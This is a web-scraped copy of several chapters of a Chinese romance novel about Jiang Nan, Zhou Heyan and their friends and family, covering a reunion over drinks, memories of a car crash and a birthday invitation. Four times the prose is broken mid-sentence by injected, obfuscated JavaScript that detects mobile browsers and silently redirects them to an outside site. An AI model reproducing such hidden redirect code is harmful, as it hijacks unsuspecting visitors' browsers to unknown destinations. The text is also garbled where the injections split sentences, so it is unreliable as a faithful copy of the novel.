她解释大伙都以为她是在炫耀,她就只能被迫选择默许。 当然,姜南和沈威当面说清楚过,彼此只是朋友,如果有什么僭越行为,连朋友也做不成。 别人听着都当是一个故事,也就周赫言听进了心里,这份酸楚在心里发酵,经过漫长的一年,其中滋味只有他自己清楚。 他给自己的杯子里又倒满了酒。 姜南睫毛微颤,“没有。” 两个字说起来异常用力,不过是解释了许多遍的话。 “谈了快一年,还没亲上,沈威这小子不行呀,跟我们吹牛逼哪哪都行,到头来哪哪都不行,真是个小菜鸡,”谷志航撩起眼皮,看了眼周赫言,见他拿起来的酒杯短暂在半空中停留一会,又放下,“周赫言,你也没亲上小姑娘嘴,在这喝闷酒呢!” 周赫言在桌底踢了谷志航一脚,“你还没完没了了。” 谷志航不知道周赫言这话说的是什么意思,针对姜南还是他自己,反正脚踝被他踹了一脚,此刻火辣辣疼着,他挪了个位置,远离了周赫言。 这场局后来唯一的话题都是围绕着姜南和沈威。 姜南回答不上来问题,就被一杯酒接着一杯酒灌,周赫言阻挡不了,因为早在之前谷志航就借着撒尿的空隙,拉着他去过后院。 谷志航:“今天这酒你不许替姜南挡。” 周赫言:“为什么?” 谷志航横着眼瞪他:“什么为什么,我说了算,喝醉了我才好套她话,上次我们班那个女孩子,就我给她写情书那个,大眼睛特漂亮那个,郭倩,也不知道姜南和她说我什么坏话了,那女孩子后来就不理我,我今天非得搞清楚是怎么回事。” 周赫言耸肩:“这和我有什么关系。” 谷志航:“别以为我看不出来,你喜欢姜南,就你就情窦初开的模样,还能瞒得了我这个浪荡公子哥。” “哦。然后呢?”周赫言并不意外。 “今天你要是敢给姜南挡酒,兄弟没的做,一刀两断,”谷志航怕这还不够,又补了句:“你喜欢姜南的事情,别怪我抖出来,我这人嘴巴严不严就看兄弟情谊深不深。” 周赫言妥协了,更准确的说,他是主动接受。 他私心想要看看喝醉的姜南,心里到底对他是什么感情。 女生喝多就哭,就闹,还会唱小曲,回去的路上,姜南趴在周赫言背上,唱了一首庾澄庆的《情非得已》。 “只怕我自己会爱上你 也许有天会情不自禁 想念只让自己苦了自己 爱上你是我情非得已 ……” 姜南直到现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191279|197068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在都还记得那天,周赫言和谷志航在后院密谋的事情,虽然喝了点酒,可她还是清楚地听到了那段谈话。 隔了这么多年,她心里始终清楚,那晚情到深处的僭越行为,不是偶然,而是必然。 只是如今种种皆是过往。 “小谷,哥,我敬你们一杯。”姜南端起桌子上还在冒着泡的啤酒,看着两人。 时隔多年的久别重逢,少年时的情感,混着潮湿的风,它吹来了。 谷志航如临大敌地说:“别别别,你怎么又来了,周赫言今晚要是掀摊子,我可赔不起。” 三人都知道,他指的是“哥”。 周赫言笑笑,并没有多大的情绪波动,他将杯子举起,比姜南低了些。 杯壁碰撞,像是撞进他心里。 谷志航终于明白,这才是真正的有苦说不出,也明白这几天,周赫言消失不见是去自我消化了。 最终得出这样一个伤害自己的方法。 浓郁白酒,极致的苦涩,光是浅尝一口就足以辣到嗓子疼,他看着周赫言面不改色地喝光一杯。 他多想让周赫言成为一个浪子。 浪子是没有心的。 几天前的那场酒谷志航一直等到现在,白天等,晚上等,那种感觉就像是死刑犯在等着上邢台,如今真的到这天,他以为自己会轻松,可到头来,还是那样。 “所以,往后我们还是朋友?”谷志航问。 姜南点头:“嗯。” 谷志航又说:“虽然我知道,回不到过去的那份感情,可还是继续做朋友,也挺好……这么多年……” 在谷志航的话还没有说完之前,周赫言说出了今晚到烧烤摊后同姜南说的第一句话:“那把微信加回来?” “对呀,加个微信,留个电话,往后联系你吃个烤串,或者同学聚会,也方便些。”谷志航连忙附和,生怕晚上一秒姜南就会改变主意。 姜南拿出手机,将两人从黑名单里拉出来,接着对着桌子上的两个二维码扫了一遍。 验证消息一过去,那儿就马上通过。 一只狗的头像跳出来,有条消息跟着过来:我是周赫言。 姜南想要翻一下周赫言的朋友圈,手机却突然响了铃声,她手指一颤,心尖也抖了抖,是张秉文打来的。 “你在哪,我来接你?” 姜南回他:“不用,离家很近,我自己回去。” 张秉文挂断了电话。 电话那头的张秉文坐在迈巴赫里看着烧烤摊,黑夜将车身完全包裹,落寞孤寂的夜晚,一切都很糟糕。 他拿起车子侧兜里的烟盒,动作缓慢地抽出一根烟。 烟被打火机慢条斯理地点燃,火星汇聚,很小的亮光。 他没有收回打火机,而是让它一直烧着烟。 张秉文想起第一次见到姜南的时候,她二十岁,在车展做车模,穿着紧身的小短裙,一双十厘米的黑色高跟鞋。 大概是鞋不合脚或者是站的时间太长,可以清楚地看见脚面上凸起的血管,紫青色的。 那场活动她足足站了六个小时。 结束后,她拿着钱高兴地揣进兜里,出门就全部给了一个吊儿郎当的男人,结果自己跑去买两块钱的包子垫肚子。 张秉文站在高处看着,直到姜南消失在他的视线里。 后来他让人找来那个男人,男人说,这个傻学生是托他找人。 他说他是私家侦探,平日里就这样混口饭吃,张秉文看他不顺眼,找人揍了他一顿,还言辞犀利的不许他再出现在姜南面前。 或许姜南以为,四年前的那次相亲才是第一面。 可事实上,远比她知道的要更早。 烟灭了,燃尽了。 张秉文突然想笑,自己和那个私家侦探一样,都是混蛋。 7. 第七章 “言哥,你真打算就这样和姜南耗着?” 打车送姜南回去后,谷志航又约周赫言回烧烤摊续了一局。 先前那局不行,碍着姜南在这儿,酒喝不痛快,串也撸不舒服,总感觉隔了这么多年没见,生疏了,话里话外的,回不到从前的感觉。 “要不然?”周赫言表情和声音都淡淡的,“还能逼她不成。” “你有几个十年?” 他指指杯子里的酒,示意周赫言给他倒酒。 周赫言开了瓶白酒,又给他拿个新杯子,挑刺道:“喝白的,啤的没劲。” “你喝你的白的,我喝我的啤的,碍不着你,你又不是不知道,这白酒我真喝不惯。” “想不想听真话?”周赫言眼皮一挑,半醉半醒,等着他的答案。 谷志航算是着了道了,“喝就喝。” 一杯白酒下去,直灌进喉咙里,酒气怎么进去的就怎么顺着涌出来,他整张脸立马就红了,像是要烧起来。 “刚才这白酒你这一杯一杯的灌,不是装逼,你是真牛逼!”谷志航吐槽:“说吧,打算怎么撬张秉文的墙角?” 谷志航对张秉文没什么好印象,在周赫言给他看照片之前他就见过张秉文,是在一家私家侦探所门口。 他和几个朋友在那附近聚餐,路过时看见张秉文西装笔挺,手插着裤兜站在那,眼神寡淡着指挥三五个大汉砸人家店面。 招牌和玻璃门碎了一地。 一个男人躲在角落里,哆哆嗦嗦着求饶。 围着不少看热闹的人,都被轰走了,后来,街道办和警察都来了,带走了闹事的人。 饭还没吃完,谷志航就瞧着闹事的那伙人也进了餐厅,就坐在他们旁边。 张秉文不在其中。 “这人也不打听打听,就敢来蒙张总,这是找死。” “打了一顿可算是出了气了。” “赔钱给他是看得起他,张总能缺这三瓜两枣的。” “来来,点菜。” “……” 谷志航自己顶着个黄毛,可骨子里就是个踏踏实实的市井小民,这打架斗殴的事情是万万不敢参与的。 他在心底痛骂一句:“有钱了不起啊!” 有了那次见张秉文恃强凌弱的模样,谷志航就直接把他撇进坏人堆里,尤其是发现他是姜南的对象后,那股子不爽到达极致。 和张秉文相比,周赫言和姜南简直是天仙配。 总比得过癞蛤蟆配天鹅好。 后来,周赫言告诉他,张秉文是他哥,谷志航本来就不多的脑细胞又一次炸裂。 那种感觉像是在布满大雾的悬崖陡壁上,他走在独木桥上,反复横跳,不知道迷雾里的独木桥到底有多长,每一下都是出乎意料,刺激的。 谷志航心痒难耐:“你到底是怎么想的?别吊我胃口。” “顺其自然。” “你妹的!”谷志航暴躁着将周赫言想点燃的烟抢过来,他有点摸不准这话的意思,“我发现你现在越来越无趣,心里的秘密越藏越多,小心等到哪一天像是气球一样,爆了,炸得你面目全非,还说什么顺其自然,要是姜南和张秉文结婚证一领,小孩一生,那大儿子叫你一声小叔,你这小心脏怕是受不了。” 周赫言捏着酒杯,笑意不减反增:“我有自己的打算。” 谷志航看着他,明明长得一副正气的脸,这会反而身上添了点浪荡风流气。 “你这招该不会是以退为进吧。” 周赫言眸色深黑,慢吞吞地喝口酒:“我不做小三。” 谷志航不死心地说:“男的做小三那叫本事。” “歪门邪道。” “我那是为你好。姜南真要跟了别人,你还不得疯,这些年,你跑遍大半个中国,别以为我不知道你去干什么。” 周赫言挪开视线,无法否认。 谷志航见不得他这般落寞的模样,皱了下眉,开起玩笑:“你是不是不行,周赫言你是不是生理上有问题,快三十了,你没需求?你可真够清心寡欲的。” “我爸看我们老是混在一起,怀疑我和你有一腿,我钢铁直男,好不,名声都被你带坏了,今年我再不带女朋友回家,我估摸着我爸要找你谈话了。” “滚。”周赫言说。 * 回到网咖,天已经微亮。 夏天的早晨,不比秋天,只要太阳一升起,那股子闷热就裹在身上。 周赫言将谷志航扔回他房间,然后回了自己屋。 一来一回的,身上几乎完全湿透,T恤黏在身上,他抬手脱掉短袖,搭在肩头,衣服上混着烧烤味和烟味,直冲鼻子。 他去浴室冲了个冷水澡。 出来后躺在床上翻了翻姜南的朋友圈,没什么特别的片段,大多和工作相关,半点张秉文的痕迹也没有。 没有找到自己想要的东西,两眼一黑,直接倒头睡到下午。 还是被谷志航疯狂的砸门声叫醒的,那人跟个疯癫一样,一下两下的,砸个没完没了。 “起来了,周赫言,来人了,来人了。” 周赫言睡眼惺忪,抓挠着头发,翻了个身冲着门外嚷着:“来人你去招呼,我头疼。” 门外断断续续的声音没停,还有钥匙塞进门锁里的动静,拧不动,谷志航就拼命晃动门把手。 这下周赫言再也睡不着了。 他怨气冲天地开门,没什么好脸色,“你爸来了?” 谷志航炯炯有神的目光盯着周赫言,一字一顿说:“不是,你爸来了。” “你有病吧。” 张学强隔着这儿一千多公里,再者说,他压根没和张学强说过这儿的地址。 且先不论其他的,他昨天刚和顾薇通过电话,人还在医院躺着,自己吃饭都费劲,大老远来这儿,碰见鬼了。 周赫言把备用钥匙拔出来,扔在屋里桌子上,反手就打算关门,“昨晚被你折腾了一夜,我是真困。” 门没关上,被推开了。 谷志航嗓音轻飘:“姜南她爸来了,就在楼下网咖。” 周赫言愣在原地,脸色变了又变。 这些年,他虽然与姜青山保持着联系,但也仅仅局限于电话。 一年通不了几次,基本谈话内容都和姜南有关,他不主动打电话,一来怕过分打扰,二来怕被姜南发现。 有的时候姜青山会来旁边小馄饨铺吃馄饨,周赫言就站在网咖楼上往下看。 五十多岁的中年人,清爽寸头,腰杆子直挺,穿了三十年警服,早就将灵魂穿进骨子里。 他的胳膊上有陈年旧疤,后背也有,如今穿着便装,配上一脸严肃的面容倒有几分老大哥的模样。 他溜达到小馄饨门口,谷瑞庭就赶紧停下手上的活,小馄饨也不烫了,先过去发烟,给他点燃后就往屋子里拉。 两人交情颇深,从小到大的兄弟,年轻时候还一起当过兵,过命的交情。 一碗馄饨下肚,唠会嗑,待上个把小时。 送姜青山走的时候,谷瑞庭总会喊上一句:“有空再来。” 姜青山路过网咖,从来没进来过,他知道周赫言在里面,可还是头也不回地走了。 周赫言想不通,姜青山为什么今天会来,带着这样的疑惑,他迅速下楼。 这个时间点,网咖人不多,比不上晚上的场子,就几个小年轻坐在那打游戏,吵吵闹闹的,都是熟面孔,经常组队一起来的。 周赫言穿过前台,一眼就瞧见姜青山坐在门口的长凳子上在和谷志航喝茶聊天。 一杯碧绿的碧螺春茶。 “姜叔。”周赫言递过去一根烟,与此同时娴熟地点燃打火机。 姜青山没接,像是没想到,一会就反应过来,抬手接过烟,神色微动地笑笑:“我都忘了,你也快三十,早就不是小孩。” 他咬着烟,从周赫言手上接过打火机,自己点着了:“烟能少抽,就少抽,你年纪还轻,将来还要生孩子。” 他是真没料到周赫言会学会抽烟,在他印象里,周赫言一直都是乖孩子的形象。 以前上学的时候,姜青山总怕谷志航带坏周赫言,还去找谷瑞庭吵过架,让他好好管管谷志航,两人在后院吵得不可开交。 谷瑞庭嗓门大:“我儿子怎么不学好了,他就是成绩差点,又不是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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正好有客人走进网咖,要开机子,谷志航赶紧脱身,“你们聊,要吃啥,要喝啥直接招呼。” “姜叔,您找我有事?”周赫言开门见山。 姜青山指指旁侧的白色塑料袋,里面堆着几个小饭盒,“姜南那天提了一嘴小馄饨,我看她想吃,就过来买点,本来就买一份,你谷叔一听是姜南要吃,硬是让我多带点回去,他说没下过水的馄饨,直接放冰箱里,可以吃好几顿。” 周赫言瞥了眼,“您怎么没和我说,我给您送过去,新鲜的味道更好,一进冰箱味道就变了。” “今天正好在家没事,出来走走,也正好来看看你,这几年总是在电话里听你说过得挺好,也不知道是不是真的。对了,那天南南提到你,你们见过面?” 周赫言实话实说,他知道在姜青山面前没什么好隐瞒的,他那鹰般锐利的眼神直接可以看穿人的心思,“张秉文是我哥,同父异母的哥。” 姜青山略微停顿:“这我倒没想到,南南什么态度?” “都挺好的。”周赫言说。 姜青山:“这些年难为你了。” 聊了一会,姜南来了电话,问姜青山去哪了,怎么不在家,姜青山说马上回去。 后来拗不过周赫言,就同意让他送,送到小区门口就下了车,没让他送进去。 到家的时候姜南坐在沙发上在吃冰棍,两人一对视,她就委屈巴巴说道:“爸,我快饿死了。” 姜青山将袋子放在桌子上,“给你买了谷叔叔家的小馄饨。” 姜南立马从沙发上弹起来,眉飞色舞地跑过来:“爸,你真好。” 小馄饨下进锅里,捞了捞,盖上锅盖。 姜青山回头看姜南,她靠在厨房的门上,满眼期待地看着,恍惚间,就像是回到那时候。 周赫言和姜宋都还在,他们在客厅里玩积木,堆了城堡,又堆了火车跑道。 姜青山煮了小馄饨,回头喊他们吃。 三个人抢着吃,抢着抢着就都会让给姜宋,三岁的孩子一哭,哥哥姐姐就没了法子。 “爸,小馄饨熟了。”姜南喊道。 姜青山回神捞出来,一边往碗里装,一边和姜南说:“过几天我生日,我想喊周赫言回家吃饭,行吗?” 8. 第八章 姜南站在那,厨房和客厅的衔接处挂了两盏灯,暖黄色的光线投在她身上,衬得她皮肤瓷白。 她抿抿唇:“爸,以后你什么时候想哥了,都可以喊他过来。” 听她这样说,姜青山手中摩挲着锅勺,倒也没太惊讶的语气:“你和小言和好了?” “我们始终是一家人。” 姜南接过小馄饨。 这些年里,姜青山烟瘾越来越大,酒也越喝越多,姜南知道,很大一部分原因是因为周赫言从筒子楼里搬了出去。 那段时间,姜青山总是神神叨叨的,一个劲说他们还在屋子里,人没走,吃饭要喊,买了好吃的回来也要喊。 听见屋子里没有人回应,姜青山在原地愣上好一会,才反应过来。 带着这样的情绪波动,后来在一次出任务中,他被绑匪开枪打伤了腿。 子-弹取出来后,医生说伤到神经,实在没办法。 那条右腿养了半年还是瘸了。 一个瘸子是参加不了一线工作的,姜青山就在领导的劝说下转文职,没干几年就提前申请病退。 那条腿刮风下雨,梅雨季节就老是疼,从骨子里钻出来的酸痛,如同无数只看不见的小蚂蚁在咬着,抓又抓不着。 他也不说,就一张一张膏药往上贴。 姜南大学毕业后,一直留在上大学的那个城市上班,加上空闲时候兼职,也算是攒到不少积蓄。 文都的房价不高,四年前回到文都后,姜南就买了现在住的这个两室一厅。 姜南仔细想想,那几年姜青山其实最缺的是陪伴,而她当初不顾所有的离开文都,把姜青山丢在这里,丢在这个痛苦的起点上,仿佛将他禁锢在深渊里。 周赫言的离开,是因为她的决绝,而姜青山这么多年从来不曾提过周赫言,是因为顾着她的想法。 从始至终,不懂事的都是她。 如果不是那次意外遇见周赫言,她大概还是没有勇气去找他,他们之间隔着的鸿沟,跨不过去。 她尚且不知道以后的路要怎么走,索性迈出一步是一步。 “爸,这几年对不起。” 缄默了许久,姜南终于又开口,滚烫的小馄饨吃进嘴里,还是那个味道。 “南南,你小时候爸不要求你学习成绩多好,长大后也不要求你找个多好的工作,出人头地,只希望你能开开心心的,以前不开心的事情就忘了吧,不要陷入死循环,生活是美好的,一天很快就过去了,开心是一天,不开心也是一天,不要背着那么重的包袱。” “你总是不开心,爸看着你这样,我也会情绪低落,像我们这样的老头子,难过着度过一天不利于身体健康,你总不会希望我年纪不大就离开你,所以就算是为了爸爸,你也要开开心心面对每一天。” “你要是实在心里有话,又不方便和爸说的,你就写在日记本上,你从小到大不是都爱写日记吗?放心,爸不会偷看你日记的,不管是大人还是小孩子都是有自己的秘密,爸爸尊重你的小秘密。保证不偷看。” “爸,你真好。” 姜南察觉出自己眼眶湿润,她不想被姜青山看出来,便起身去冰箱里拿姜青山熬的辣椒酱,混了点在汤里,没吃上两口就“呼哧呼哧”吸鼻子。 姜青山看穿后也不识破:“你这丫头,上高中的时候多么开朗一姑娘,你说说你现在年纪不大,心事倒不少,总是愁眉苦脸的,容易变丑,长白头发,又长皱纹的。” “成年人都是有烦恼的。” “结婚了才算是成年人。” 姜南弯起眼,笑着反驳:“谁说的?” “你爸我,我说的就是真理,”姜青山坐在对面的沙发上抽烟,抬头看姜南还在吃馄饨,他直说道:“生日那天别让小张来了,小言回来,遇上总归不好。” 姜南明白姜青山的意思,“那几天他要出差,反正往年你也不通知他,今年还是照样吧。” “你有小言电话吗?” “有。” “那这事你通知他。”姜青山摁灭了烟,没给姜南反驳的机会。 * 周末两天过得飞快。 姜南忙完采访,才想起来姜青山托付她办的事,她思来想去实在不知道该怎么跟周赫言说。 这么久不联系,贸然喊他来家里吃饭,不知道怎么措辞,她说要把电话给姜青山,让他和周赫言说,可姜青山死活不乐意。 她纠结了好久,既要不显得生分,又要不那么尴尬。 手机拿在手里,又放下,江小杰走过来看见她手机聊天界面停留在“周赫言”上,不免有些好奇。 他把小蛋糕放桌子上,拆开包装递过去,“南姐,你这个周赫言是我学长吗?” 姜南慵懒窝在座椅上,“嗯。” “你们认识啊?” “算是吧,他上高中的时候在我家住过一段时间。”姜南吃了两口奶油蛋糕,实话实说。 江小杰直勾勾看着她,“那天在顾晴婚礼上,你们还装不认识,我还介绍说你是我女朋友,合着半天,就我一个傻子。” “没有,好多年不见,一时没认出来。” “那你们熟吗?” “一般吧。”她说的心虚。 姜南不知道该怎么定义她和周赫言的关系,曾经很熟悉,隔了十年,再熟悉也变得陌生。 “那你知道他有女朋友吗?” “我不太清楚。” 江小杰仍不死心,“算了,你把他微信推给我,我自己问。” “这……”姜南有点犯难。 江小杰也是识趣的人,自然瞧见姜南面色变化,他也不强求,换了个套路:“你可以问一下他,愿意加我不?要是愿意你就把他推给我,要是不愿意再说,那天我打完电话他就没人了,给我的名片上的电话号码又不是微信的,我贸然给他打电话问这个问题有些傻,还是在微信上先交流一下感情比较好,循序渐进。” 这下算是将姜南停在杠头上,她没办法,只能给周赫言发去信息。 简简单单几个字:【江小杰想加你微信,可以吗?】 收到回复的时候已经是下午六点,姜南前往地铁站的路上,微信响了一声。 她没想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191281|197068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是周赫言的。 点开一看,很精简的三个字:【什么事】 姜南不知道该怎么和他说,江小杰应该是想要给他介绍女朋友,他有个姐姐至今还是单身,长得挺漂亮的,工作单位也好,是银行的,可这要怎么跟他说呢,从她嘴里说出来,总是不合适的。 她想了想回他:【我也不清楚。】 那边很快微信就来了:【车上说】 周赫言发信息一向都不喜欢加标点符号,总让人有一种话还没说结束的感觉。 微信又来了:【抬头】 姜南这才发现斜前方停了辆车,车窗玻璃半开着,周赫言正侧头看她,耸着眼皮,嚼着口香糖,嗓音像是浸润了热潮的浪花,“上车。” 姜南也没推脱,拉开后车门,坐在副驾驶后面。 车上放着歌,周杰伦的。 调子很熟悉,可姜南一时想不起来是哪一首。 高中的时候,周赫言用暑假打工挣到的钱给她买过一个唱片机。 后来,姜青山知道她喜欢周杰伦的歌,就在她生日的时候送了她几张唱片。 姜南就没日没夜地听,跟着唱,唱给他们听,她也不知道自己唱起来到底好不好听,反正他们轮着鼓掌。 姜青山:“往后南南一定是一代天后。” 周赫言:“你可真是唱跳全能艺人。” 姜南被这样的彩虹屁夸得晕头转向的,盲目自信,有段时间还真就特别想朝着艺术这方面发展,后来有一次和谷志航他们去KTV唱歌,一开嗓子就跑调了。 谷志航捂着耳朵:“姜南,你确定你这不是鬼哭狼嚎吗?周杰伦的歌很难的,我都唱不好,你还学,喜欢听和能不能唱好是两回事。” 从那之后,姜南就默默听,也不开口唱,自尊心受到了巨大打击。 姜青山他们问她,她就回:“伤自尊了。” 那感觉像是遮羞布被扯掉了,尤其是当着周赫言的面。 听了那几年,歌听进去了,后来不听,也就忘了。 “你车呢?”周赫言打破氛围。 “前几天去采访,被人蹭伤拿去修了。” “哦。” 姜南问:“你怎么在这?” “路过。” 姜南对周赫言这样的断句很熟悉,他原本就是这样的,如果没有那次醉酒后的关系改变,他一直都是这样,言简意赅,不爱多说话。 她和周赫言之间,像是一个梦,被无数蜘蛛网缠绕着的梦,虽然看上去很复杂,可只要一把扫帚,就能把蜘蛛网从墙上全部剥离下来。 一路上都是绿灯,可遇上下班高峰期,车也开不快,五十码的速度。 姜南看着窗外,“过几天我爸生日,他想喊你回家吃饭。” 周赫言问:“是周三吗?” “嗯,”姜南顿了顿,“你还记得?” 周赫言笑笑:“我记性不差,况且姜叔对我那么好,要是连他的生日都记不得,也太不应该了。” 周赫言又问:“张秉文也会去?” “到时候我该喊你嫂子,还是妹妹?” 9. 第九章 那醇厚的嗓音,带着点散漫不羁的笑,听上去,几分认真,又有几分开玩笑的。 一时半会,姜南不知道该怎么回答这个问题,她用余光瞥了眼周赫言,他正神色自若地看着前方道路,似乎这个问题对他而言,只是个闲聊的话题,并没有别的什么意思。 姜南意识到是自己想多了,无端猜忌他,便表情放松下来,回道:“他出差,来不了。” “哦,我还担心彼此见到会尴尬。” “这件事情我会和张秉文解释清楚的。” 周赫言默了几秒:“解释什么?告诉他我为什么认识姜叔?还是我们之间什么关系?” 车子下了堵车最严重的那条道路,驶入岔道后,车速就上来了。 道路两旁亮起城市夜晚璀璨的灯光,可车厢内的光线仍旧是暗的,就靠着路边打过来的灯光投射在两人身上。 车一闪而过,无数的树木影子在姜南眼前晃,她的心思被晃得分了神。 隔了这么久再一次坐他的车还是心有余悸的,那些尘封许久的记忆,在这逐渐行驶的路途上,又被重启了。 那天也是这样燥热的天气。 洒水车喷洒出来的水雾,像是被接了滚烫沸水的水管,融入到空气中,又热又潮湿。 姜南身体接触到地面后,立即就感觉到裸露在外面的皮肤被擦伤,伤口碰了热气,又疼又烫。 她从车上滚下来后,躺在地上,不能动弹,巨大的冲击力让她一下子就愣在那。 当时连她自己都懵了,怎么会做出这样疯狂的事情。 她看着周赫言向她走来,他的额头上还在渗血,他捂着脱臼的胳膊,每一步走的并不轻松。 可当周赫言到跟前后,她还是强撑着,靠着自己的意志力站起来推开他,并且说了许多决绝的话。 她也是亲眼看着,路旁的铁钉子扎进他的手臂,他的身体由于惯性往旁边翻滚,伤口便逐渐变深。 那条手臂全是血,还有他的额头上,也是血,他就躺在那,一时半会没起得来。 姜南到现在仍旧觉得自己是个特别狠心的人,她把周赫言一个人扔在那里,自己瘸着腿往家走。 半道上,有个好心的阿姨见她身上都是血,便问了一句怎么了。 姜南哭着说:“救救他,他倒在那里了。” 阿姨打了120,陆陆续续来了两辆救护车,差不多同一时间段到的医院。 医生也通知了姜青山,他做为监护人,一下子受到了双重打击。 姜青山穿着警服跑过来,刚下过雨,他浑身湿透,那顶帽子上也是水,警徽上雾蒙蒙的沁着水珠。 他缴费,找医生询问情况,跑来跑去,几乎崩溃:“南南,小言……” 姜南昏迷了一天,第二天醒过来的时候,姜青山坐在旁边,眼睛半阖着,见她醒来,眼底迅速浮起一团希望,打消了所有困意。 他吸了一口气:“谢天谢地。” 他去医院外面的餐馆里买了小米粥和包子,一勺一勺喂,边喂边忍不住红眼,他哽咽着:“南南,爸爸差点以为,又要失去你和小言了,接到电话的时候,我一下子感觉天都黑了,明明当时外面还有太阳,可我往医院赶的时候,雨就突然下来了,越下越大,我浑身湿透,到医院后,我都不知道眼睛里到底是雨水还是泪水。” 姜南抬眼,对上姜青山的目光,她一下子就哭了出来。 明明做错事情的是她,可她自己也不知道怎么就委屈起来了。 “爸,我疼,浑身疼。” 从小到大,姜南都被姜青山捧在手心里,磕着碰着,一块小小的淤青,姜青山都要心疼好一会,又是冰块敷,又是拿鸡蛋滚的。 现在胳膊骨折,腿也骨折。 “爸知道,当时你一定疼死了,还跑那么远找人来救小言,”姜青山给姜南擦了擦嘴,“没事了,手术已经做好了,医生说现在只要静养就行,伤筋动骨一百天,会好的,慢慢会好的。” 姜南不记得当时有多疼,好像就是感觉浑身冷,从骨头里往外冒寒气,站也站不住,可那个时候,她还是义无反顾地想要离开周赫言。 “当时到底怎么了?车怎么会撞树上?”姜青山问。 姜南没说话。 姜青山看她脸色不对,也没再追问,只说了句:“放心吧,小言没事,医生把脱臼的地方接回去了,伤口也缝了针,有谷志航照顾着呢,明天他会来看你的。” 明天周赫言没来,后天也没来,七天后出院,家里空无一人。 周赫言住的那个房间收拾的整整齐齐,他的衣服和书本被带走,关于他的一切都消失了,仿佛这个人从来没来过一样。 姜青山给周赫言打电话,空号。 他又给谷志航打,谷志航说不清楚他人去了哪里,已经好几天没联系上。 只有姜南清楚,周赫言走了。 再也不会见了。 那个原本以为再也不会见到的人,此刻就在她面前,离她的距离近到伸手就可以触摸到。 正好红灯,车稳稳停在停止线内。 没有等到回答的周赫言,侧过身,回头看姜南,语气仍旧是有点玩味:“姜南,你没有以前那么闹腾了,像是只没了精力的病猫,就安安静静坐在那,感觉下一秒就会突然睡着。” 她以前有多闹腾,大概是连谷志航都怕她三分,她长得是淑女类型的,可追着谷志航打的时候,那是丝毫不逊色,鞋子都跑掉了。 筒子楼的阿姨们都说: “往后,谁要娶了姜南,指定是个妻管严,怕老婆的。” “女孩子家家的,一点也没有女孩子的腔调。” “你们懂什么,姜青山老婆跟外面的野男人跑了,从小没妈教的孩子,能懂什么规矩。” “瞎说什么,她妈生了姜宋才跑的,那时候姜南都快上高中了。” “你们可别造谣,小心姜青山把你们都抓起来,那是要吃牢饭的。” “……” 姜南眉头微蹙,“你也变了,以前性子沉闷,不爱说话,我找你说话,你就呛我,没说两句我们就要吵架,吵得整个筒子楼都是我们的声音。” “我哪里吵得过你,姜叔叔总说我逻辑思维好,能呛得你反驳不了,其实他不知道,每天晚上睡觉前,我都会在脑海里把我们吵架斗嘴的场景复盘一遍,然后从中找出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191282|197068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漏洞,这样才能确保我第二天,准确找到你弱点的地方。你吵架有个模式就是爱翻旧账,把之前我惹你的地方重新说出来,然后和现在进行比较,你不知道,你说的那些旧账,我早就复盘过了,正中我的下怀。” 周赫言说着说着就笑,他握着方向盘:“其实,我们现在这样也挺好的,见面聊会天,不必非得扯着过去那些事情。对了,你说江小杰要加我微信,什么意思?要给我介绍对象?” “你怎么知道?”姜南惊讶。 “是他姐姐?” 姜南再一次被震惊:“嗯。” “我就知道是这么回事,之前上大学的时候,我就见过他姐姐,和我同岁,还一起去吃过饭,一群人一起去的,也不是单独的两个人……饭后,她问我要过联系方式。”周赫言垂下眼睫,“不过,我没给,我那时候一门心思都是你。” 见她瞥了眼窗外,周赫言又开玩笑的解释:“那时候我挺恨你的,就老是想着你,想报仇。” 姜南心虚问:“那现在呢?” “现在恨什么,事情都过去这么多年,我要是还恨你,我不早两年就得抑郁症了,还能撑到来见你?时代在进步,过去如同滚轮,早就随着历史远走高飞了。” 话音刚落,他放在支架上的手机震了一声,周赫言看了眼,是微信,也不知道是谁,估摸着是谷志航发来的。 谷志航让他去超市买点水,他要喝的那款水,小超市没有,只有那家卖进口商品的大超市才有,回来的路上,他一脚油门就停在了姜南公司楼下。 好巧不巧的,就正好碰上姜南。 谷志航应该是催他回去,这个时间点,正是网咖生意好的时候。 眼下,车刚好到姜南家楼下,他将车停入停车位后,打开微信看了看,居然是江小杰的好友申请。 验证消息:【你好,我是江小杰。】 隔了几秒,又有一个好友申请。 